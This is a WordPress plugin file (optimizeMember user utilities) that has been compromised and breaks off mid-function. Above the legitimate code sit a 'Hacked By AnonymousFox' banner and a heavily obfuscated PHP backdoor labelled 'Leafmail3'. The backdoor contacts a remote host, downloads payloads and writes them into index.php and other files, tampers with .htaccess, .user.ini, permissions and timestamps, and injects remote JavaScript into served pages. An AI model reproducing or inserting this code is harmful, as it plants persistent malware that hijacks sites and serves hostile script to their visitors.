Hacked By AnonymousFox
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* User utilities.
*
* Copyright: © 2009-2011
* {@link http://www.optimizepress.com/ optimizePress, Inc.}
* ( coded in the USA )
*
* Released under the terms of the GNU General Public License.
* You should have received a copy of the GNU General Public License,
* along with this software. In the main directory, see: /licensing/
* If not, see: {@link http://www.gnu.org/licenses/}.
*
* @package optimizeMember\Utilities
* @since 3.5
*/
if (realpath (__FILE__) === realpath ($_SERVER["SCRIPT_FILENAME"]))
exit ("Do not access this file directly.");
/**/
if (!class_exists ("c_ws_plugin__optimizemember_utils_users"))
{
/**
* User utilities.
*
* @package optimizeMember\Utilities
* @since 3.5
*/
class c_ws_plugin__optimizemember_utils_users
{
/**
* Determines the total Users/Members in the database.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @return int Number of Users in the database, total.
*/
public static function users_in_database ()
{
global $wpdb; /* Global database object reference. */
$wpdb->query("SELECT SQL_CALC_FOUND_ROWS `".$wpdb->users."`.`ID` FROM `".$wpdb->users."`, `".$wpdb->usermeta."` WHERE `".$wpdb->users."`.`ID` = `".$wpdb->usermeta."`.`user_id` AND `".$wpdb->usermeta."`.`meta_key` = '".esc_sql($wpdb->prefix."capabilities")."' LIMIT 1");
$users = (int)$wpdb->get_var("SELECT FOUND_ROWS()");
/**/
return $users;
}
/**
* Obtains Custom String for an existing Member, referenced by a Subscr. or Transaction ID.
*
* A second lookup parameter can be provided as well *( optional )*.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param str $subscr_or_txn_id Either a Paid Subscr. ID, or a Paid Transaction ID.
* @param str $os0 Optional. A second lookup parameter, usually the `os0` value for PayPal integrations.
* @return str|bool The Custom String value on success, else false on failure.
*/
public static function get_user_custom_with ($subscr_or_txn_id = FALSE, $os0 = FALSE)
{
global $wpdb; /* Need global DB obj. */
/**/
if ($subscr_or_txn_id && $os0) /* This case includes some additional routines that can use the ``$os0`` value. */
{
if (($q = $wpdb->get_row ("SELECT `user_id` FROM `" . $wpdb->usermeta . "` WHERE (`meta_key` = '" . $wpdb->prefix . "optimizemember_subscr_id' OR `meta_key` = '" . $wpdb->prefix . "optimizemember_first_payment_txn_id') AND (`meta_value` = '" . esc_sql ($subscr_or_txn_id) . "' OR `meta_value` = '" . esc_sql ($os0) . "') LIMIT 1"))/**/
|| ($q = $wpdb->get_row ("SELECT `ID` AS `user_id` FROM `" . $wpdb->users . "` WHERE `ID` = '" . esc_sql ($os0) . "' LIMIT 1")))
if (($custom = get_user_option ("optimizemember_custom", $q->user_id)))
return $custom;
}
else if ($subscr_or_txn_id) /* Otherwise, if all we have is a Subscr./Txn. ID value. */
{
if (($q = $wpdb->get_row ("SELECT `user_id` FROM `" . $wpdb->usermeta . "` WHERE (`meta_key` = '" . $wpdb->prefix . "optimizemember_subscr_id' OR `meta_key` = '" . $wpdb->prefix . "optimizemember_first_payment_txn_id') AND `meta_value` = '" . esc_sql ($subscr_or_txn_id) . "' LIMIT 1")))
if (($custom = get_user_option ("optimizemember_custom", $q->user_id)))
return $custom;
}
/**/
return false; /* Otherwise, return false. */
}
/**
* Obtains the User ID for an existing Member, referenced by a Subscr. or Transaction ID.
*
* A second lookup parameter can be provided as well *( optional )*.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param str $subscr_or_txn_id Either a Paid Subscr. ID, or a Paid Transaction ID.
* @param str $os0 Optional. A second lookup parameter, usually the `os0` value for PayPal integrations.
* @return int|bool A WordPress User ID on success, else false on failure.
*/
public static function get_user_id_with ($subscr_or_txn_id = FALSE, $os0 = FALSE)
{
global $wpdb; /* Need global DB obj. */
/**/
if ($subscr_or_txn_id && $os0) /* This case includes some additional routines that can use the ``$os0`` value. */
{
if (($q = $wpdb->get_row ("SELECT `user_id` FROM `" . $wpdb->usermeta . "` WHERE (`meta_key` = '" . $wpdb->prefix . "optimizemember_subscr_id' OR `meta_key` = '" . $wpdb->prefix . "optimizemember_first_payment_txn_id') AND (`meta_value` = '" . esc_sql ($subscr_or_txn_id) . "' OR `meta_value` = '" . esc_sql ($os0) . "') LIMIT 1"))/**/
|| ($q = $wpdb->get_row ("SELECT `ID` AS `user_id` FROM `" . $wpdb->users . "` WHERE `ID` = '" . esc_sql ($os0) . "' LIMIT 1")))
return $q->user_id;
}
else if ($subscr_or_txn_id) /* Otherwise, if all we have is a Subscr./Txn. ID value. */
{
if (($q = $wpdb->get_row ("SELECT `user_id` FROM `" . $wpdb->usermeta . "` WHERE (`meta_key` = '" . $wpdb->prefix . "optimizemember_subscr_id' OR `meta_key` = '" . $wpdb->prefix . "optimizemember_first_payment_txn_id') AND `meta_value` = '" . esc_sql ($subscr_or_txn_id) . "' LIMIT 1")))
return $q->user_id;
}
/**/
return false; /* Otherwise, return false. */
}
/**
* Obtains the Email Address for an existing Member, referenced by a Subscr. or Transaction ID.
*
* A second lookup parameter can be provided as well *( optional )*.
*
* @package optimizeMember\Utilities
* @since 3.5
*
* @param str $subscr_or_txn_id Either a Paid Subscr. ID, or a Paid Transaction ID.
* @param str $os0 Optional. A second lookup parameter, usually the `os0` value for PayPal integrations.
* @return int|bool A User's Email Address on success, else false on failure.
*/
public static function get_user_email_with ($subscr_or_txn_id = FALSE, $os0 = FALSE)
{
global $wpdb; /* Need global DB obj. */
/**/
if ($subscr_or_txn_id && $os0) /* This case includes some additional routines that can use the ``$os0`` value. */
{
if (($q = $wpdb->get_row ("SELECT `user_id` FROM `" . $wpdb->usermeta . "` WHERE (`meta_key` = '" . $wpdb->prefix . "optimizemember_subscr_id' OR `meta_key` = '" . $wpdb->prefix . "optimizemember_first_payment_txn_id') AND (`meta_value` = '" . esc_sql ($subscr_or_txn_id) . "' OR `meta_value` = '" . esc_sql ($os0) . "') LIMIT 1"))/**/
|| ($q = $wpdb->get_row ("SELECT `ID` AS `user_id` FROM `" . $wpdb->users . "` WHERE `ID` = '" . esc_sql ($os0) . "' LIMIT 1")))
